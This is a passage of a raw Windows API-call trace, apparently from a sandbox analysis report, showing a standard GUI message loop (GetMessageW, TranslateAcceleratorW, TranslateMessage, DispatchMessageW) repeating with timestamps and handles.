[0053.576] TranslateMessage (lpMsg=0x18e548) returned 0 [0053.576] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0053.577] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0053.622] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0053.622] TranslateMessage (lpMsg=0x18e548) returned 0 [0053.622] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0053.622] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0053.622] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0053.622] TranslateMessage (lpMsg=0x18e548) returned 0 [0053.622] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0053.623] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0053.670] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0053.670] TranslateMessage (lpMsg=0x18e548) returned 0 [0053.670] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0053.670] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0053.670] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0053.670] TranslateMessage (lpMsg=0x18e548) returned 0 [0053.670] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0053.671] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0053.719] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0053.719] TranslateMessage (lpMsg=0x18e548) returned 0 [0053.719] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0053.719] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0053.719] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0053.719] TranslateMessage (lpMsg=0x18e548) returned 0 [0053.719] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0053.720] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0053.762] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0053.762] TranslateMessage (lpMsg=0x18e548) returned 0 [0053.762] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0053.762] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0053.763] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0053.763] TranslateMessage (lpMsg=0x18e548) returned 0 [0053.763] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0053.764] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0053.809] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0053.809] TranslateMessage (lpMsg=0x18e548) returned 0 [0053.809] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0053.809] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0053.809] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0053.809] TranslateMessage (lpMsg=0x18e548) returned 0 [0053.809] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0053.810] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0053.856] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0053.856] TranslateMessage (lpMsg=0x18e548) returned 0 [0053.856] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0053.856] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0053.856] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0053.856] TranslateMessage (lpMsg=0x18e548) returned 0 [0053.856] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0053.857] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0053.903] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0053.903] TranslateMessage (lpMsg=0x18e548) returned 0 [0053.903] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0053.903] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0053.903] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0053.903] TranslateMessage (lpMsg=0x18e548) returned 0 [0053.903] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0053.904] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0053.949] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0053.949] TranslateMessage (lpMsg=0x18e548) returned 0 [0053.950] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0053.950] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0053.950] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0053.950] TranslateMessage (lpMsg=0x18e548) returned 0 [0053.950] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0053.950] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0053.996] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0053.996] TranslateMessage (lpMsg=0x18e548) returned 0 [0053.996] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0053.996] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0054.964] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0054.964] TranslateMessage (lpMsg=0x18e548) returned 0 [0054.964] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0054.964] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.010] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0055.010] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.010] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.010] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.010] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0055.010] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.010] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.012] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.057] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0055.057] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.057] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.057] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.057] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0055.057] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.057] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.058] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.104] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0055.104] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.104] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.104] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.104] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0055.104] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.104] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.105] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.151] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0055.151] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.151] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.151] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.151] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0055.151] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.151] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.152] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.197] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0055.197] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.198] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.198] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.198] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0055.198] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.198] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.199] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.245] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0055.246] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.246] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.246] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.246] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0055.246] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.246] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.247] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.291] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0055.291] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.291] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.292] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.292] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0055.292] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.292] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.293] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.338] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0055.338] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.338] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.338] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.338] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0055.338] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.338] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.339] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.385] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0055.385] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.385] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.385] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.385] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0055.385] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.385] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.387] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.431] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0055.431] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.431] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.431] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.432] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0055.432] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.432] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.433] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.478] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0055.478] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.478] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.478] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.478] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0055.479] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.479] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.479] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.525] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0055.525] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.525] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.525] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.525] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0055.525] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.525] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.526] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0055.572] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0055.572] TranslateMessage (lpMsg=0x18e548) returned 0 [0055.572] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0055.572] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.617] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0056.617] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.617] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.617] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.664] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0056.664] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.664] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.664] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.664] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0056.664] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.664] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.665] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.711] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0056.711] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.711] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.711] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.711] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0056.711] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.711] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.712] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.758] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0056.758] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.758] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.758] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.758] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0056.758] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.758] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.759] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.804] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0056.804] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.804] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.804] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.804] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0056.804] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.804] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.805] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.851] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0056.851] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.851] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.851] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.851] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0056.851] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.851] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.852] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.900] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0056.900] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.900] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.900] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.900] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0056.900] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.900] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.901] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.970] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0056.970] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.970] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.971] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0056.971] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0056.971] TranslateMessage (lpMsg=0x18e548) returned 0 [0056.971] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0056.973] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.007] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0057.007] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.007] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.007] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.007] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0057.007] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.007] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.008] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.054] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0057.054] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.054] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.054] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.054] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0057.054] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.054] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.055] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.101] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0057.101] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.101] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.101] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.101] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0057.101] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.101] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.102] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.148] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0057.148] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.148] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.148] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.148] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0057.148] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.148] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.149] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.194] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0057.194] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.194] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.194] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.194] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0057.194] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.194] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.195] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0057.290] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0057.290] TranslateMessage (lpMsg=0x18e548) returned 0 [0057.290] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0057.290] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.255] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0058.255] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.255] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.256] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.302] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0058.302] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.302] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.302] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.302] TranslateAcceleratorW (hWnd=0x4011e, hAccTable=0x40127, lpMsg=0x18e548) returned 0 [0058.302] TranslateMessage (lpMsg=0x18e548) returned 0 [0058.302] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0058.306] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0058.349] TranslateAcceleratorW 